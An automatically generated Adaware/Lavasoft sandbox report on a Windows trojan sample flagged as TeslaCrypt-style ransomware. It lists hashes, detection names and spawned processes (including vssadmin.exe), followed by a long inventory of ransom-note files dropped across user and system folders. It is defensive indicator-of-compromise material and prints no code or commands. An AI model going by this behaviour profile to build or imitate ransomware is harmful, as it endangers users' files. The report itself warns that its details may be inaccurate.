Gen.Variant.Symmi.57371_00d88cb7c0 – Adaware

Susp_Dropper (Kaspersky), Gen:Variant.Symmi.57371 (B) (Emsisoft), Gen:Variant.Symmi.57371 (AdAware), Trojan.Win32.IEDummy.FD, TeslaCrypt21_pcap.YR (Lavasoft MAS)Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 00d88cb7c0838db03ec9ead41ce9cf8f

SHA1: d80770a8ea3c9f225c7b7d4dd99ee779222c0a1d

SHA256: 70f9925bb3af9edfacb485b56f2fcdc37458c453ecfffe9359f5c2d83780a849

SSDeep: 3072:IxSnef/w2c0bcpoJU AJ9bhtxlyBHbYwAltqCWQso3zFztoLV9lBB6cj27zcH2/X:eQezc0UogPKbAltWG/oL4T7vttIHPk

Size: 300975 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: MicrosoftVisualCv60DLL, UPolyXv05_v6

Company: no certificate found

Created at: 2006-05-17 23:44:46

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:1616
vssadmin.exe:1340
vssadmin.exe:916
NOTEPAD.EXE:1888
vcwhqj.exe:228

The Trojan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:1616 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\vcwhqj.exe (1425 bytes)

The process vcwhqj.exe:228 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\26\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\55\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Updater\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\8\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\33\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Crypto\RSA\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\61\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\WinPcap\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\Themes\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\My Pictures\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\11\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\Themes\restore_files_woyft.html (5 bytes)
C:\totalcmd\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\15\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Acrobat\9.0\Cache\Search\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\21\restore_files_woyft.html (5 bytes)
C:\System Volume Information\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\Sample Playlists\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\My Documents\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\System Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\jre1.6.0_18\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\KTOR0Z81\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\14\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\55\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\History\History.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\49\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\2\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\DROHCDE3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\29\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\4\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\3\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Desktop\RESTORE_FILES.HTML (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Communications\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\46\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\39\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\26\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\AU\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\20\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\Reader9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\si\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\all\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\53\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Documents\My Music\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\3\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Temporary Internet Files\Content.IE5\O167C5I7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\NetHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\21\restore_files_woyft.txt (2 bytes)
C:\totalcmd\NO.BAR (892 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\50\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\24\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\39\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\41\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\2\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\63\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\58\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\10\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\20\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Favorites\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\8\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Startup\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\KP27CLYF\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\34\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\1\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\26\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Templates\wordpfct.wpd (892 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\23\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\13\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\62\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Cookies\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\36\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\2\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\14\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Templates\winword.doc (426 bytes)
%Documents and Settings%\Default User\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\25\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\53\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\eng\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\JavaScripts\glob.settings.js (860 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\27\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\45\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\52\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Media Player\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\22\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\13\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\tmp\si\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys\#kiks.yandex.ru\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\35\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\30\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\23\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\PrintHood\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\28\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\Quick Launch\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\32\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\62\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\60\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\SystemCertificates\My\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\56\restore_files_woyft.txt (2 bytes)
C:\totalcmd\KEYBOARD.TXT (436 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\kiks.yandex.ru\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\SendTo\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\59\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\61\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\restore_files_woyft.txt (2 bytes)
C:\System Volume Information\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\2\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\55\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\54\restore_files_woyft.html (5 bytes)
%Documents and Settings%\NetworkService\Local Settings\Application Data\Microsoft\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Documents\My Pictures\Sample Pictures\Winter.jpg (1225 bytes)
%Documents and Settings%\Default User\Desktop\restore_files_woyft.html (5 bytes)
C:\totalcmd\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\VMware\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\52\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\Microsoft\Windows Media\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\9\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\excel4.xls (419 bytes)
%Documents and Settings%\Default User\Desktop\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\29\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\43\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Temporary Internet Files\Content.IE5\CHEZ8TER\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\UserData\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\30\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\jre1.6.0_18\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\4\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Updater6\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Collab\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\42\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\6\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\PrintHood\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Games\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\48\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Protect\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Recent\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\Application Data\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\S-1-5-19\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\48\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\63\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\Media Player\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Recent\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Start Menu\Programs\Accessories\Accessibility\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\24\restore_files_woyft.html (5 bytes)
C:\RECYCLER\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Macromedia\Flash Player\#SharedObjects\QEA5Z3QJ\restore_files_woyft.html (5 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\Accessories\Entertainment\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\41\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\NetworkService\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\38\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\My Documents\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\Reader 9.3\Setup Files\Reader9\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Local Settings\Application Data\Microsoft\Windows\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CTLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Local Settings\restore_files_woyft.html (5 bytes)
C:\RECYCLER\S-1-5-21-1844237615-1960408961-1801674531-1003\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\50\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Linguistics\Dictionaries\Adobe Custom Dictionary\can\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\GROZIFO7\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\SystemCache\6.0\33\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\LocalService\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\My Documents\Recovery_File_xpcyiernx.txt (250 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\Credentials\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Wireshark\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\Internet Explorer\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\27\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\50\restore_files_woyft.txt (2 bytes)
%Documents and Settings%\Default User\Application Data\Microsoft\SystemCertificates\My\CRLs\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Adobe\Acrobat\9.0\Forms\restore_files_woyft.html (5 bytes)
%Documents and Settings%\Default User\Templates\powerpnt.ppt (454 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Z016340J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\Adobe\restore_files_woyft.html (5 bytes)
%Documents and Settings%\%current user%\Application Data\Sun\Java\Deployment\cache\6.0\25\restore_files_woyft.txt (2 bytes)
